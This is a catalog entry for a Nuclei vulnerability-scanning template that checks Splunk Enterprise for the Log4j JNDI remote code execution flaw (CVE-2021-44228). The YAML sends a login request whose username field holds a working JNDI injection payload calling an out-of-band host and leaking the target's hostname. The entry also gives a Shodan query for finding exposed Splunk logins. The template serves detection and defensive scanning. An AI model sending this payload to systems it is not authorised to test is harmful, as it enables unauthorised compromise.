splunk-enterprise-log4j-rce: Splunk Enterprise - Remote Code Execution (Apache Log4j)
- Template: splunk-enterprise-log4j-rce
- Name: Splunk Enterprise - Remote Code Execution (Apache Log4j)
- Description: Splunk Enterprise is susceptible to Log4j JNDI remote code execution. Splunk Enterprise enables you to search, analyze and visualize your data to quickly act on insights from across your technology landscape.
- Severity: critical
- Authors: shaikhyaser
- Tags: cve, cve2021, rce, jndi, log4j, splunk, oast, kev, vuln
- References: https://www.splunk.com/en_us/blog/bulletins/splunk-security-advisory-for-apache-log4j-cve-2021-44228.html
- Cves: CVE-2021-44228
- Max requests: 1
- Directory: http/vulnerabilities
- Path: http/vulnerabilities/other/splunk-enterprise-log4j-rce.yaml
- Digest: 4b0a00483046022100b6c009c085af1ca8e8a652eee48fb8a5df0b103564bc6fa8ebc2f57b444be1a702210083016053381c6898f7aeb7fb8676dd1bfc9191b2da1f30ebff7e1264b2002be5
- Created at: 2023-10-23T07:39:09Z
- Updated at: 2025-10-26T16:17:37Z
- Age in days: 1129
- Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/other/splunk-enterprise-log4j-rce.yaml
- Checked, none or zero: verified
- Not known: impact, remediation
Classification
- Cwe: CWE-77
- Cvss score: 10
- Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
- Cpe: cpe:2.3:a:splunk:splunk:*:*:*:*:*:*:*:*
- Not known: epss score, epss percentile
Metadata
- Max-request: 1
- Product: splunk
- Shodan-query: http.title:"Login - Splunk"
- Vendor: splunk
Products
| Product | Indexed | Url |
|---|---|---|
| splunk:splunk | yes | /v1/products/splunk/splunk |
Labels
- Name: Apache Log4j2 - JNDI Injection
- Impact: Attackers can execute arbitrary code remotely by controlling log messages, leading to full system compromise.
- Remediation: Update to a version later than 2.15.0.
- Vulnerability type: jndi_injection
- Vulnerability impact: remote_code_execution
- Requirement type: none
- Labels source: projectdiscovery
- From cve: CVE-2021-44228
- Not known: requirements
```yaml
id: splunk-enterprise-log4j-rce
info:
name: Splunk Enterprise - Remote Code Execution (Apache Log4j)
author: shaikhyaser
severity: critical
description: |
Splunk Enterprise is susceptible to Log4j JNDI remote code execution. Splunk Enterprise enables you to search, analyze and visualize your data to quickly act on insights from across your technology landscape.
reference:
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cve-id: CVE-2021-44228
cwe-id: CWE-77
cpe: cpe:2.3:a:splunk:splunk:*:*:*:*:*:*:*:*
metadata:
max-request: 1
shodan-query: http.title:"Login - Splunk"
product: splunk
vendor: splunk
tags: cve,cve2021,rce,jndi,log4j,splunk,oast,kev,vuln
variables:
rand1: '{{rand_int(111, 999)}}'
rand2: '{{rand_int(111, 999)}}'
str: "{{rand_base(5)}}"
http:
- raw:
- |
POST /en-US/account/login HTTP/1.1
Host: {{Hostname}}
Accept: text/javascript, text/html, application/xml, text/xml, /
X-Requested-With: XMLHttpRequest
Origin: {{RootURL}}
Referer: {{RootURL}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
cval={{unix_time()}}&username=${jndi:ldap://${:-{{rand1}}}${:-{{rand2}}}.${hostName}.username.{{interactsh-url}}/{{str}}}&password={{str}}&return_to=%2Fen-US%2F
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol # Confirms the DNS Interaction
words:
- "dns"
- type: regex
part: interactsh_request
regex:
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
extractors:
- type: kval
kval:
- interactsh_ip
- type: regex
part: interactsh_request
group: 2
regex:
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
- type: regex
part: interactsh_request
group: 1
regex:
- '\d{6}\.([a-zA-Z0-9\.\-]+)\.([a-z0-9]+)\.([a-z0-9]+)\.([a-z0-9]+)\.\w+'
digest: 4b0a00483046022100b6c009c085af1ca8e8a652eee48fb8a5df0b103564bc6fa8ebc2f57b444be1a702210083016053381c6898f7aeb7fb8676dd1bfc9191b2da1f30ebff7e1264b2002be5:922c64590222798bb761d5b6d8e72950
```